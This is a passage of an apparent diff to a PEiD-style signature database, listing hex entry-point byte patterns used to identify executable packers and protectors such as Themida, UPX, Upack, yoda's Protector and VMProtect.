?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 +ep_only = true + +[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)] +signature = B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 +ep_only = true + +[Themida 1.8.x.x -> Oreans Technologies] +signature = B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 +ep_only = true + +[Thinstall v2.460 -> Jitit] +signature = 55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E +ep_only = true + +[Upack 0.1x beta -> Dwing] +signature = BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 +ep_only = true + +[Upack 0.20 beta -> Dwing] +signature = BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 +ep_only = true + +[Upack 0.21 beta -> Dwing] +signature = BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 +ep_only = true + +[Upack 0.22 - 0.23 beta -> Dwing] +signature = 6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 +ep_only = true + +[Upack 0.24 beta -> Dwing] +signature = BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 +ep_only = true + +[Upack v0.399 -> Dwing] +signature = 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 +ep_only = true + +[UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB +ep_only = true + +[UPX Modified Stub b -> Farb-rausch Consumer Consulting] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC +ep_only = true + +[UPX Modified Stub c -> Farb-rausch Consumer Consulting] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 +ep_only = true + +[Upx v1.2 -> Marcus & Lazlo] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83 +ep_only = true + +[UPX-SCRAMBLER 3.06 -> OnToL] +signature = E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6 +ep_only = true + +[Vcasm-Protector 1.0] +signature = 55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 +ep_only = true + +[vfp&exeNc v6.00 -> Wang JianGuo] +signature = 60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC +ep_only = true + +[vprotector 1.2 -> vcasm] +signature = EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 +ep_only = true + +[VProtector V1.0E -> vcasm] +signature = EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 +ep_only = true + +[WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)] +signature = 60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 +ep_only = true + +[WinZip Self-Extractor 2.2 personal edition -> WinZip Computing (h)] +signature = 53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B +ep_only = true + +[Wise Installer Stub] +signature = 55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF +ep_only = true + +[Wise Installer Stub v1.10.1029.1] +signature = 55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 +ep_only = true + +[Xtreme-Protector v1.06] +signature = B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 +ep_only = true + +[yoda's Crypter 1.3 -> Ashkbiz Danehkar] +signature = 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC +ep_only = true + +[yoda's Protector 1.0 beta -> Ashkbiz Danehkar] +signature = 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 +ep_only = true + +[yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar] +signature = E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 +ep_only = true + +[yoda's Protector v1.01 -> Ashkbiz Danehkar (h)] +signature = 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 +ep_only = true + +[yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)] +signature = E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 +ep_only = true + +[Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar] +signature = E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 +ep_only = true + +[yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)] +signature = E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 +ep_only = true + +[yoda's Protector v1.0b -> Ashkbiz Danehkar (h)] +signature = 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 +ep_only = true + +[* PseudoSigner 0.1 [Armadillo 3.00] --> Anorganix] +signature = 60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9 +ep_only = true + +[* PseudoSigner 0.1 [Armadillo 3.00] --> Anorganix] +signature = 60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9 +ep_only = true + +[* PseudoSigner 0.1 [CodeSafe 2.0] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9 +ep_only = true + +[* PseudoSigner 0.1 [CodeSafe 2.0] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9 +ep_only = true + +[* PseudoSigner 0.1 [DEF 1.0] --> Anorganix] +signature = BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [DEF 1.0] --> Anorganix] +signature = BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [DxPack 1.0] --> Anorganix] +signature = 60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [DxPack 1.0] --> Anorganix] +signature = 60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [ExeSmasher] --> Anorganix] +signature = 9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9 +ep_only = true + +[* PseudoSigner 0.1 [ExeSmasher] --> Anorganix] +signature = 9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9 +ep_only = true + +[* PseudoSigner 0.1 [Gleam 1.00] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9 +ep_only = true + +[* PseudoSigner 0.1 [Gleam 1.00] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9 +ep_only = true + +[* PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] --> Anorganix] +signature = 60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] --> Anorganix] +signature = 60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [LCC Win32 DLL] --> Anorganix] +signature = 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9 +ep_only = true + +[* PseudoSigner 0.1 [LCC Win32 DLL] --> Anorganix] +signature = 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9 +ep_only = true + +[* PseudoSigner 0.1 [Lockless Intro Pack] --> Anorganix] +signature = 2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9 +ep_only = true + +[* PseudoSigner 0.1 [Lockless Intro Pack] --> Anorganix] +signature = 2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 6.20] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 6.20] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] --> Anorganix] +signature = 55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] --> Anorganix] +signature = 55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9 +ep_only = true + +[* PseudoSigner 0.1 [PE Intro 1.0] --> Anorganix] +signature = 8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9 +ep_only = true + +[* PseudoSigner 0.1 [PE Intro 1.0] --> Anorganix] +signature = 8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9 +ep_only = true + +[* PseudoSigner 0.1 [PENinja 1.31] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 +ep_only = true + +[* PseudoSigner 0.1 [PENinja 1.31] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 +ep_only = true + +[* PseudoSigner 0.1 [PESHiELD 0.25] --> Anorganix] +signature = 60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9 +ep_only = true + +[* PseudoSigner 0.1 [PESHiELD 0.25] --> Anorganix] +signature = 60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9 +ep_only = true + +[* PseudoSigner 0.2 [Armadillo 3.00] --> Anorganix] +signature = 60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 +ep_only = true + +[* PseudoSigner 0.2 [CodeSafe 2.0] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 +ep_only = true + +[* PseudoSigner 0.2 [DEF 1.0] --> Anorganix] +signature = BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 +ep_only = true + +[* PseudoSigner 0.2 [DxPack 1.0] --> Anorganix] +signature = 60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [ExeSmasher] --> Anorganix] +signature = 9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B +ep_only = true + +[* PseudoSigner 0.2 [Gleam 1.00] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF +ep_only = true + +[* PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9] --> Anorganix] +signature = 60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 +ep_only = true + +[* PseudoSigner 0.2 [PESHiELD 0.25] --> Anorganix] +signature = 60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC +ep_only = true + +[* PseudoSigner 0.2 [ZCode 1.01] --> Anorganix] +signature = E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 